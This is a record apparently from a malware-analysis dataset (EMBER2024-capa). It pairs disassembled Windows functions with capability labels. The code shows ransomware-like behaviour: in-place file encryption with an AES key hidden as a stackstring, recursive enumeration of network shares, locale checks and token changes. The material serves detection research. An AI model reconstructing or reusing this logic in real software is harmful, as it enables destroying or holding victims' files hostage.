joyce8/EMBER2024-capa huggingface dataset:
Function at 0x401c70
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
mov eax, dword [ebp + 8]
sub esp, 0x14
cmp dword [eax + 4], 0
push ebx
push esi
push edi
je 0x401e0d
mov eax, dword [0x41b280]
lea ecx, [esp + 0x14]
push ecx
push 0xe
call fcn.00402950
lea edx, [esp + 0x14]
mov esi, eax
mov eax, dword [0x41b280]
push edx
push 0xf
mov dword [esp + 0x20], esi
call fcn.00402950
mov edi, eax
lea eax, [esp + 0x14]
push eax
mov eax, dword [0x41b280]
push 1
mov dword [esp + 0x24], edi
call fcn.00402950
test esi, esi
mov dword [esp + 0x10], eax
je 0x401e0d
test edi, edi
je 0x401e0d
test eax, eax
je 0x401e0d
mov ebx, dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push 0x10830
push 0
call ebx
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov ecx, dword [ebp + 8]
mov esi, eax
mov eax, dword [ecx + 4]
test eax, eax
je 0x401d15
mov edx, dword [eax]
cmp word [edx], 0
je 0x401d3a
mov eax, dword [eax + 4]
test eax, eax
jne 0x401d06
xor eax, eax
mov ecx, dword [esp + 0x10]
mov dword [esi], eax
mov eax, dword [ebp + 0xc]
mov dword [esi + 4], eax
mov dword [esi + 8], ecx
mov eax, dword [edi]
test eax, eax
je 0x401d3e
push eax
push 0
call ebx
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
jmp 0x401d40
mov eax, edx
jmp 0x401d17
xor eax, eax
mov dword [esi + 0xc], eax
mov edx, dword [edi]
mov eax, dword [esp + 0x18]
mov dword [esi + 0x10], edx
mov ecx, dword [eax]
mov edx, dword [0x41b288]
xor eax, eax
push edx
mov dword [esi + 0x14], ecx
mov ecx, dword [esi]
mov dword [esi + 0x18], eax
mov dword [esi + 0x1c], eax
mov eax, dword [esp + 0x14]
push eax
mov eax, dword [0x419024]
mov byte [esi + 0x20], 1
mov byte [esi + 0x21], 0
mov edx, dword [ecx + 0x18]
push edx
push eax
lea ecx, [esi + 0x1002a]
push ecx
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0x14
call fcn.00402ee0
test eax, eax
je 0x401d9c
mov edi, dword [esi]
push eax
call fcn.00402bf0
jmp 0x401d9e
xor eax, eax
test eax, eax
mov dword [esi + 0x28], eax
jne 0x401daa
call fcn.004065d0
push 0
push 0
push esi
push 0x402620
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov edi, eax
push 0xffffffffffffffff
push edi
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [esi + 0xc]
push eax
push 0
call ebx
mov edi, dword [sym.imp.KERNEL32.dll_HeapFree]
push eax
call edi
push esi
push 0
call ebx
push eax
call edi
mov edx, dword [esp + 0x10]
push edx
push 0
call ebx
push eax
call edi
mov eax, dword [esp + 0x1c]
push eax
push 0
call ebx
push eax
call edi
mov ecx, dword [esp + 0x18]
push ecx
push 0
call ebx
push eax
call edi
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 8
Function at 0x402680
Capabilities:
Create new key via cryptacquirecontext

Disassembly:
push ecx
lea eax, [esi + 0xc]
push eax
mov dword [esi], 0
mov dword [esi + 4], 0
mov dword [esi + 8], 0
call dword [sym.imp.KERNEL32.dll_InitializeCriticalSection]
push 0xf0000000
push 0x18
push 0
push 0
push esi
call dword [sym.imp.ADVAPI32.dll_CryptAcquireContextW]
test eax, eax
jne 0x4026b7
mov dword [esi], eax
lea ecx, [esi + 0x28]
push ecx
push 0xa
mov eax, esi
mov dword [esi + 8], 0x41c000
call fcn.00402950
mov dword [esi + 0x24], eax
mov eax, esi
pop ecx
ret

Function at 0x4026e0
Capabilities:
Create new key via cryptacquirecontext
Generate random numbers via winapi

Disassembly:
push edi
mov edi, dword [0x41b280]
cmp dword [edi], 0
jne 0x402706
push 0xf0000000
push 0x18
push 0
push 0
push edi
call dword [sym.imp.ADVAPI32.dll_CryptAcquireContextW]
test eax, eax
jne 0x402706
mov dword [edi], eax
pop edi
ret
push esi
push 0x10
push 0
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov esi, eax
test esi, esi
jne 0x402721
pop esi
pop edi
ret
push 0x10
push 0
push esi
call fcn.00401100
mov eax, dword [edi]
add esp, 0xc
push esi
push 0x10
push eax
call dword [sym.imp.ADVAPI32.dll_CryptGenRandom]
neg eax
sbb eax, eax
and eax, esi
pop esi
pop edi
ret

Function at 0x402750
Capabilities:
Create new key via cryptacquirecontext
Encrypt or decrypt via wincrypt

Disassembly:
sub esp, 8
push esi
mov esi, dword [0x41b280]
cmp dword [esi], 0
jne 0x402780
push 0xf0000000
push 0x18
push 0
push 0
push esi
call dword [sym.imp.ADVAPI32.dll_CryptAcquireContextW]
test eax, eax
jne 0x402780
mov dword [esi], eax
xor al, al
pop esi
add esp, 8
ret 4
mov ecx, dword [esi + 0x28]
mov edx, dword [esi + 0x24]
lea eax, [esp + 4]
push eax
mov eax, dword [esi]
push 0
push 0
push ecx
push edx
push eax
call dword [sym.imp.ADVAPI32.dll_CryptImportKey]
test eax, eax
jne 0x4027ad
call dword [sym.imp.KERNEL32.dll_GetLastError]
xor al, al
pop esi
add esp, 8
ret 4
mov edx, dword [esp + 0x10]
mov eax, dword [esp + 4]
push 0x80
lea ecx, [esp + 0xc]
push ecx
push edx
push 0
push 0
push 0
push eax
mov dword [esp + 0x24], 0x75
call dword [sym.imp.ADVAPI32.dll_CryptEncrypt]
test eax, eax
jne 0x4027f3
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov ecx, dword [esp + 4]
push ecx
call dword [sym.imp.ADVAPI32.dll_CryptDestroyKey]
xor al, al
pop esi
add esp, 8
ret 4
mov edx, dword [esp + 4]
push edx
call dword [sym.imp.ADVAPI32.dll_CryptDestroyKey]
test eax, eax
je 0x40279e
mov al, 1
pop esi
add esp, 8
ret 4
Function at 0x402810
Capabilities:
Contain obfuscated stackstrings
Create new key via cryptacquirecontext
Encrypt data using aes via winapi

Disassembly:
sub esp, 0x4c
cmp dword [esi], 0
mov al, 0xcf
mov byte [esp + 3], al
mov byte [esp + 0x11], al
mov al, 0xe2
mov byte [esp], 0x56
mov byte [esp + 1], 0x74
mov byte [esp + 2], 0xa0
mov byte [esp + 4], 0x77
mov byte [esp + 5], 0xe6
mov byte [esp + 6], 0xbb
mov byte [esp + 7], 0x49
mov byte [esp + 8], 0x1b
mov byte [esp + 9], 0x26
mov byte [esp + 0xa], 0x96
mov byte [esp + 0xb], 0xc1
mov byte [esp + 0xc], 0x4e
mov byte [esp + 0xd], 0x7c
mov byte [esp + 0xe], 0xab
mov byte [esp + 0xf], 0x52
mov byte [esp + 0x10], 0xb1
mov byte [esp + 0x12], 0xf6
mov byte [esp + 0x13], 0xda
mov byte [esp + 0x14], 0xac
mov byte [esp + 0x15], 0xd2
mov byte [esp + 0x16], 0xa5
mov byte [esp + 0x17], 0x38
mov byte [esp + 0x18], 0x43
mov byte [esp + 0x19], 0x48
mov byte [esp + 0x1a], 0xbf
mov byte [esp + 0x1b], al
mov byte [esp + 0x1c], 0x42
mov byte [esp + 0x1d], 0xc5
mov byte [esp + 0x1e], al
mov byte [esp + 0x1f], 0x33
jne 0x4028d5
push 0xf0000000
push 0x18
push 0
push 0
push esi
call dword [sym.imp.ADVAPI32.dll_CryptAcquireContextW]
test eax, eax
jne 0x4028d5
mov dword [esi], eax
xor al, al
add esp, 0x4c
ret
push 0x2c
lea eax, [esp + 0x24]
push 0
push eax
call fcn.00401100
push 0x20
lea ecx, [esp + 0x10]
push ecx
lea edx, [esp + 0x40]
push edx
mov word [esp + 0x38], 0x208
mov word [esp + 0x3c], 0x6610
mov byte [esp + 0x40], 0x20
call fcn.00401140
mov edx, dword [esi]
add esp, 0x18
lea eax, [esi + 4]
push eax
push 0
push 0
push 0x2c
lea ecx, [esp + 0x30]
push ecx
push edx
call dword [sym.imp.ADVAPI32.dll_CryptImportKey]
test eax, eax
jne 0x40293b
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
call fcn.004065d0
add esp, 4
xor al, al
add esp, 0x4c
ret
mov al, 1
add esp, 0x4c
ret
Function at 0x402950
Capabilities:
Encrypt or decrypt via wincrypt

Disassembly:
sub esp, 0xc
push ebx
push ebp
mov ebp, dword [esp + 0x18]
push esi
mov esi, eax
mov eax, dword [esi + 8]
test eax, eax
push edi
je 0x402997
mov ebx, dword [eax]
xor edi, edi
test ebx, ebx
jbe 0x402997
lea esp, [esp]
mov eax, dword [esi + 8]
push 8
lea ecx, [eax + edi*8 + 8]
push ecx
lea edx, [esp + 0x18]
push edx
call fcn.00401140
movzx eax, word [esp + 0x1c]
add esp, 0xc
cmp eax, ebp
je 0x4029a3
add edi, 1
cmp edi, ebx
jb 0x402970
xor eax, eax
pop edi
pop esi
pop ebp
pop ebx
add esp, 0xc
ret 8
mov ecx, dword [esi + 8]
push 8
lea edx, [ecx + edi*8 + 8]
push edx
lea eax, [esp + 0x18]
push eax
call fcn.00401140
mov ax, word [esp + 0x20]
mov cx, word [esp + 0x1e]
add esp, 0xc
cmp ax, cx
jbe 0x402997
movzx ecx, cx
movzx edi, ax
sub edi, ecx
je 0x402997
push edi
push 0
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov ebx, eax
test ebx, ebx
je 0x402997
movzx edx, word [esp + 0x12]
add edx, dword [esi + 8]
push edi
push edx
push ebx
call fcn.00401140
add esp, 0xc
lea ebp, [esi + 0xc]
push ebp
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
call fcn.00402810
test al, al
je 0x402997
mov eax, dword [esp + 0x24]
push eax
push ebx
push 0
push 0
mov dword [eax], edi
mov eax, dword [esi + 4]
push 0
push eax
call dword [sym.imp.ADVAPI32.dll_CryptDecrypt]
test eax, eax
jne 0x402a46
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
call fcn.004065d0
add esp, 4
xor eax, eax
pop edi
pop esi
pop ebp
pop ebx
add esp, 0xc
ret 8
mov eax, dword [esp + 0x24]
cmp edi, dword [eax]
je 0x402a5f
call fcn.004065d0
xor eax, eax
pop edi
pop esi
pop ebp
pop ebx
add esp, 0xc
ret 8
movzx ecx, word [esp + 0x16]
mov dword [eax], ecx
mov eax, dword [esi + 4]
test eax, eax
je 0x402aa1
push eax
call dword [sym.imp.ADVAPI32.dll_CryptDestroyKey]
test eax, eax
jne 0x402a9a
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
call fcn.004065d0
add esp, 4
push ebp
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
mov eax, ebx
pop edi
pop esi
pop ebp
pop ebx
add esp, 0xc
ret 8
mov dword [esi + 4], 0
push ebp
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
pop edi
pop esi
pop ebp
mov eax, ebx
pop ebx
add esp, 0xc
ret 8

Function at 0x402ac0
Capabilities:
Create new key via cryptacquirecontext

Disassembly:
push esi
mov esi, dword [0x41b280]
cmp dword [esi], 0
jne 0x402aea
push 0xf0000000
push 0x18
push 0
push 0
push esi
call dword [sym.imp.ADVAPI32.dll_CryptAcquireContextW]
test eax, eax
jne 0x402aea
mov dword [esi], eax
xor al, al
pop esi
ret 8
mov eax, dword [esp + 8]
mov ecx, dword [esi]
push edi
push 0
push 0
push 0x2c
push eax
push ecx
call dword [sym.imp.ADVAPI32.dll_CryptImportKey]
test eax, eax
jne 0x402b0f
call dword [sym.imp.KERNEL32.dll_GetLastError]
xor al, al
pop esi
ret 8
mov edx, dword [esp + 0xc]
mov eax, dword [edi]
push 0
push edx
push 1
push eax
call dword [sym.imp.ADVAPI32.dll_CryptSetKeyParam]
test eax, eax
je 0x402b03
mov al, 1
pop esi
ret 8
Function at 0x4032d0
Capabilities:
Read file on windows

Disassembly:
sub esp, 0x18
push edi
mov edi, dword [sym.imp.KERNEL32.dll_SetFilePointerEx]
push 2
lea edx, [esp + 0x14]
push edx
xor ecx, ecx
push ecx
xor eax, eax
push eax
push esi
call edi
test eax, eax
je 0x403359
cmp dword [esp + 0x14], 0
jg 0x403305
jl 0x4032fe
cmp dword [esp + 0x10], 4
jae 0x403305
mov al, 1
pop edi
add esp, 0x18
ret
push 2
push 0
or ecx, 0xffffffff
push ecx
mov eax, 0xfffffffc
push eax
push esi
call edi
test eax, eax
je 0x403359
push 0
lea eax, [esp + 0xc]
push eax
push 4
lea ecx, [esp + 0x18]
push ecx
push esi
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x403359
cmp dword [esp + 8], 4
jne 0x403359
push 4
lea edx, [esp + 0x10]
push 0x419014
push edx
call fcn.00403280
add esp, 0xc
neg eax
sbb eax, eax
neg eax
pop edi
add esp, 0x18
ret
xor al, al
pop edi
add esp, 0x18
ret
Function at 0x403b00
Capabilities:
Encrypt or decrypt via wincrypt
Read file on windows
Write file on windows

Disassembly:
mov ecx, dword [edi + 0x14]
mov edx, dword [edi + 0xc]
sub esp, 0xc
push ebp
mov ebp, dword [esp + 0x18]
push esi
xor esi, esi
push esi
lea eax, [esp + 0xc]
push eax
push ecx
push edx
push ebx
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x403bc9
mov eax, dword [esp + 8]
test eax, eax
jne 0x403b38
mov al, 1
pop esi
pop ebp
add esp, 0xc
ret
cmp eax, dword [edi + 0x14]
jae 0x403b60
mov ecx, eax
and ecx, 0xf
je 0x403b60
mov esi, 0x10
sub esi, ecx
mov ecx, dword [edi + 0xc]
push esi
add ecx, eax
push 0
push ecx
call fcn.00401100
mov eax, dword [esp + 0x14]
add esp, 0xc
mov ecx, dword [edi + 0xc]
add eax, esi
push eax
lea edx, [esp + 0x10]
push edx
push ecx
push 0
push 0
mov dword [esp + 0x20], eax
mov eax, dword [esp + 0x2c]
push 0
push eax
call dword [sym.imp.ADVAPI32.dll_CryptEncrypt]
test eax, eax
je 0x403bc9
mov ecx, dword [ebp + 4]
mov edx, dword [ebp]
push 0
push 0
push ecx
push edx
push ebx
call dword [sym.imp.KERNEL32.dll_SetFilePointerEx]
test eax, eax
je 0x403bc9
mov ecx, dword [esp + 8]
mov edx, dword [edi + 0xc]
push 0
lea eax, [esp + 0x14]
push eax
add ecx, esi
push ecx
push edx
push ebx
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
je 0x403bc9
mov eax, dword [esp + 8]
add eax, esi
cmp dword [esp + 0x10], eax
jae 0x403b30
pop esi
xor al, al
pop ebp
add esp, 0xc
ret
Function at 0x4040f0
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
sub esp, 0x400
push esi
mov esi, eax
xor ecx, ecx
jmp 0x404100
mov eax, ecx
shr eax, 1
test cl, 1
je 0x40410e
xor eax, 0xedb88320
test al, 1
je 0x40411b
shr eax, 1
xor eax, 0xedb88320
jmp 0x40411d
shr eax, 1
test al, 1
je 0x40412a
shr eax, 1
xor eax, 0xedb88320
jmp 0x40412c
shr eax, 1
test al, 1
je 0x404139
shr eax, 1
xor eax, 0xedb88320
jmp 0x40413b
shr eax, 1
test al, 1
je 0x404148
shr eax, 1
xor eax, 0xedb88320
jmp 0x40414a
shr eax, 1
test al, 1
je 0x404157
shr eax, 1
xor eax, 0xedb88320
jmp 0x404159
shr eax, 1
test al, 1
je 0x404166
shr eax, 1
xor eax, 0xedb88320
jmp 0x404168
shr eax, 1
test al, 1
je 0x404175
shr eax, 1
xor eax, 0xedb88320
jmp 0x404177
shr eax, 1
mov dword [esp + ecx*4 + 4], eax
add ecx, 1
cmp ecx, 0x100
jl 0x404100
or eax, 0xffffffff
test edx, edx
je 0x4041ad
movzx ecx, byte [esi]
xor ecx, eax
and ecx, 0xff
shr eax, 8
xor eax, dword [esp + ecx*4 + 4]
sub edx, 1
add esi, 1
test edx, edx
jne 0x404191
not eax
pop esi
add esp, 0x400
ret

Function at 0x4041c0
Capabilities:
Check os version

Disassembly:
sub esp, 0xc
call dword [sym.imp.KERNEL32.dll_GetVersion]
cmp al, 6
jb 0x404213
lea eax, [esp]
push eax
push 0xf01ff
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
je 0x404213
mov eax, dword [esp]
lea ecx, [esp + 8]
push ecx
push 4
lea edx, [esp + 0xc]
push edx
push 0x18
push eax
call dword [sym.imp.ADVAPI32.dll_GetTokenInformation]
test eax, eax
jne 0x404219
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov ecx, dword [esp]
push ecx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor al, al
add esp, 0xc
ret
cmp dword [esp + 4], 0
je 0x40423f
mov eax, dword [esp]
push 4
lea edx, [esp + 8]
push edx
push 0x18
push eax
mov dword [esp + 0x14], 0
call dword [sym.imp.ADVAPI32.dll_SetTokenInformation]
test eax, eax
je 0x404203
mov edx, dword [esp]
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov al, 1
add esp, 0xc
ret
Function at 0x405170
Capabilities:
Enumerate network shares

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x14
push ebx
push esi
push edi
push 0x4000
push 0
mov dword [esp + 0x1c], 0
mov dword [esp + 0x20], 0x4000
mov dword [esp + 0x18], 0xffffffff
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov esi, eax
test esi, esi
mov dword [esp + 0x1c], esi
je 0x405318
mov ecx, dword [ebp + 0xc]
mov edi, dword [ebp + 8]
lea eax, [esp + 0x14]
push eax
push ecx
push 0
push 0
push edi
call sub.MPR.dll_WNetOpenEnumW
test eax, eax
je 0x4051df
push edi
push eax
call fcn.004065d0
add esp, 8
jmp 0x4052fa
mov edi, dword [ebp + 0x10]
push 0x4000
push 0
push esi
mov dword [esp + 0x24], 0x4000
mov dword [esp + 0x1c], 0xffffffff
call fcn.00401100
mov ecx, dword [esp + 0x20]
add esp, 0xc
lea edx, [esp + 0x18]
push edx
push esi
lea eax, [esp + 0x18]
push eax
push ecx
call sub.MPR.dll_WNetEnumResourceW
test eax, eax
jne 0x4052ea
mov eax, dword [ebp + 0xc]
test eax, eax
jne 0x405231
mov edx, dword [esp + 0x10]
mov eax, dword [ebp + 8]
push edx
push eax
jmp 0x40523a
mov ecx, dword [esp + 0x10]
mov edx, dword [eax + 0x14]
push ecx
push edx
call fcn.004065d0
xor ebx, ebx
add esp, 8
cmp dword [esp + 0x10], ebx
jbe 0x4051e2
add esi, 4
lea ecx, [ecx]
mov eax, dword [esi + 0x14]
test eax, eax
mov ecx, eax
jne 0x40525e
mov ecx, 0x4081ec
mov eax, dword [esi + 0x10]
test eax, eax
jne 0x40526a
mov eax, 0x4081ec
push ecx
mov ecx, dword [esi]
push ecx
push eax
call fcn.004065d0
mov eax, dword [esi + 8]
add esp, 0xc
test al, 2
je 0x4052b6
mov edx, dword [esi + 0x10]
test edx, edx
je 0x4052d1
test edi, edi
jle 0x4052d1
mov eax, dword [ebp + 0xc]
test eax, eax
je 0x40529c
mov eax, dword [eax + 0x14]
call fcn.00403ff0
test eax, eax
je 0x4052d1
mov edx, dword [ebp + 0x14]
mov ecx, dword [ebp + 8]
push edx
sub edi, 1
push edi
lea eax, [esi - 4]
push eax
push ecx
call fcn.00405170
add esp, 0x10
jmp 0x4052d1
test byte [esi], 1
je 0x4052d1
push eax
call fcn.004065d0
mov edx, dword [esi + 0x10]
mov eax, dword [ebp + 0x14]
add esp, 4
push edx
push eax
call fcn.00401c70
add ebx, 1
add esi, 0x20
cmp ebx, dword [esp + 0x10]
jb 0x405250
mov esi, dword [esp + 0x1c]
jmp 0x4051e2
cmp eax, 0x103
je 0x4052fa
push eax
call fcn.004065d0
add esp, 4
mov eax, dword [esp + 0x14]
test eax, eax
je 0x405308
push eax
call sub.MPR.dll_WNetCloseEnum
push esi
push 0
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapFree]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x405380
Capabilities:
Terminate process

Disassembly:
push ebx
push esi
push edi
call fcn.004065e0
mov ebx, 1
mov byte [0x41b26c], al
mov byte [0x41900f], 0
mov byte [0x41900e], bl
mov byte [0x40900b], bl
mov byte [0x409008], bl
mov byte [0x409009], bl
call fcn.00406250
cmp al, 2
jne 0x4053c0
mov byte [0x41900f], bl
mov edi, dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push ebx
push 0
call edi
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
test eax, eax
je 0x4053e0
push eax
call fcn.00405410
mov esi, eax
jmp 0x4053e2
xor esi, esi
call fcn.004058d0
test esi, esi
je 0x4053fc
call fcn.004056a0
push esi
push 0
call edi
push eax
call dword [sym.imp.KERNEL32.dll_HeapFree]
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]

Function at 0x4058d0
Capabilities:
Get geographical location

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x20
push esi
push edi
call fcn.004065d0
push 0x20
lea eax, [esp + 0xc]
push 0
push eax
call fcn.00401100
add esp, 0xc
push 0x20
lea ecx, [esp + 0xc]
push ecx
push 0x58
push 0x800
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoW]
test eax, eax
je 0x405918
mov eax, dword [esp + 8]
test eax, 0x200
je 0x405918
test eax, eax
jns 0x40598b
call fcn.00405b90
test al, al
je 0x40598b
cmp byte [0x41900f], 0
je 0x40596f
mov esi, dword [0x41b268]
mov edi, dword [0x41901c]
push esi
mov byte [0x40900b], 1
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
push esi
mov dword [esi + 0x20], edi
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
mov edx, dword [0x41901c]
push edx
call fcn.004065d0
add esp, 4
call fcn.00402e30
xor eax, eax
call fcn.00405aa0
pop edi
pop esi
mov esp, ebp
pop ebp
ret
cmp dword [0x41b240], 0
jne 0x405981
call fcn.00407030
cmp al, 1
je 0x40598b
call fcn.004042a0
call fcn.00406430
pop edi
pop esi
mov esp, ebp
pop ebp
ret

Function at 0x405aa0
Capabilities:
Create thread

Disassembly:
push ecx
cmp byte [0x40900b], 0
push esi
push edi
mov esi, eax
je 0x405b7e
mov eax, dword [0x41b264]
push 0
push eax
call fcn.004012c0
mov eax, dword [0x41b264]
call fcn.004014c0
mov eax, dword [0x41b264]
call fcn.004015d0
cmp dword [0x41b230], 0x7fffffff
jne 0x405ae4
call fcn.00404990
test esi, esi
je 0x405af7
mov ecx, dword [0x41b264]
push esi
push ecx
call fcn.00401c70
jmp 0x405b2e
mov edx, dword [0x41b264]
push edx
call fcn.004019c0
mov eax, dword [0x41b264]
push 0
push 0
push eax
push 0x405320
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov esi, eax
push 0xffffffffffffffff
push esi
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [0x41b264]
test eax, eax
mov edi, dword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov esi, eax
je 0x405b50
call fcn.00401220
push esi
push 0
call edi
push eax
call dword [sym.imp.KERNEL32.dll_HeapFree]
push 8
push 0
call edi
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
test eax, eax
je 0x405b77
mov dword [eax + 4], 0
mov dword [eax], 0
mov dword [0x41b264], eax
pop edi
pop esi
pop ecx
ret
xor eax, eax
mov dword [0x41b264], eax
pop edi
pop esi
pop ecx
ret
Function at 0x406200
Capabilities:
Check os version

Disassembly:
mov eax, dword [0x41b2a4]
sub esp, 8
test eax, eax
push ebx
jne 0x406218
call dword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [0x41b2a4], eax
cmp al, 6
jae 0x406223
xor al, al
pop ebx
add esp, 8
ret
cmp byte [0x40900b], 0
je 0x40621c
lea eax, [esp + 8]
push eax
call dword [0x41b254]
call fcn.00405fc0
mov ecx, dword [esp + 8]
push ecx
mov bl, al
call dword [0x41b260]
mov al, bl
pop ebx
add esp, 8
ret

Function at 0x406250
Capabilities:
Accept command line arguments

Disassembly:
sub esp, 0x10
push ebx
lea eax, [esp + 0x10]
xor ebx, ebx
push eax
mov dword [0x41b240], ebx
mov byte [esp + 0xb], bl
call dword [sym.imp.KERNEL32.dll_GetCommandLineW]
push eax
call dword [sym.imp.SHELL32.dll_CommandLineToArgvW]
cmp eax, ebx
mov dword [esp + 8], eax
jne 0x406281
xor al, al
pop ebx
add esp, 0x10
ret
push edi
mov edi, 1
cmp dword [esp + 0x14], edi
mov dword [esp + 0x10], edi
jle 0x40640f
push ebp
mov ebp, dword [0x41b240]
push esi
lea ecx, [ecx]
mov esi, dword [eax + edi*4]
cmp word [esi], 0x6e
jne 0x4062cb
cmp word [esi + 2], 0x6f
jne 0x4062cb
lea edx, [esi + 4]
call fcn.00407090
test al, al
je 0x4063f4
mov byte [0x40900b], bl
jmp 0x4063f4
cmp ebp, ebx
jne 0x40635f
mov edx, esi
call fcn.004070b0
test al, al
je 0x40635f
lea ecx, [esi + 0xa]
mov eax, ecx
mov dx, word [eax]
add eax, 2
test dx, dx
jne 0x4062e7
sub eax, ecx
sar eax, 1
add eax, eax
je 0x406420
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov ebp, eax
cmp ebp, ebx
mov dword [0x41b240], ebp
je 0x40635f
mov eax, dword [esp + 0x14]
mov eax, dword [eax + edi*4]
lea esi, [eax + 0xa]
mov eax, esi
mov cx, word [eax]
add eax, 2
test cx, cx
jne 0x406325
sub eax, esi
sar eax, 1
mov edx, ebp
mov edi, eax
jmp 0x406340
movzx ecx, word [esi]
mov word [edx], cx
add edx, 2
add esi, 2
cmp cx, bx
je 0x406356
sub edi, 1
jne 0x406340
cmp edi, ebx
jne 0x40635f
mov word [ebp + eax*2 - 2], bx
mov edx, dword [esp + 0x14]
mov eax, dword [esp + 0x18]
mov esi, dword [edx + eax*4]
movzx edi, word [esi]
cmp di, 0x66
jne 0x40637f
cmp word [esi + 2], bx
jne 0x40637f
mov byte [0x409008], bl
cmp di, 0x76
jne 0x406391
cmp word [esi + 2], bx
jne 0x406391
mov byte [0x41900e], bl
cmp di, 0x64
jne 0x4063a3
cmp word [esi + 2], bx
jne 0x4063a3
mov byte [0x409009], bl
cmp di, 0x6e
jne 0x4063e3
movzx eax, word [esi + 2]
lea edx, [esi + 2]
xor ecx, ecx
cmp ax, bx
je 0x4063d8
cmp ax, 0x30
jb 0x4063d8
cmp ax, 0x39
ja 0x4063d8
movzx eax, ax
lea ecx, [ecx + ecx*4]
add edx, 2
lea ecx, [eax + ecx*2 - 0x30]
movzx eax, word [edx]
cmp ax, bx
jne 0x4063b7
mov dword [0x41901c], ecx
mov byte [esp + 0x13], 2
cmp di, 0x65
jne 0x4063f4
cmp word [esi + 2], bx
jne 0x4063f4
mov byte [esp + 0x13], 1
mov edi, dword [esp + 0x18]
mov eax, dword [esp + 0x14]
add edi, 1
cmp edi, dword [esp + 0x1c]
mov dword [esp + 0x18], edi
jl 0x4062a0
pop esi
pop ebp
push eax
call dword [sym.imp.KERNEL32.dll_LocalFree]
mov al, byte [esp + 0xb]
pop edi
pop ebx
add esp, 0x10
ret
xor ebp, ebp
mov dword [0x41b240], ebp
jmp 0x40635f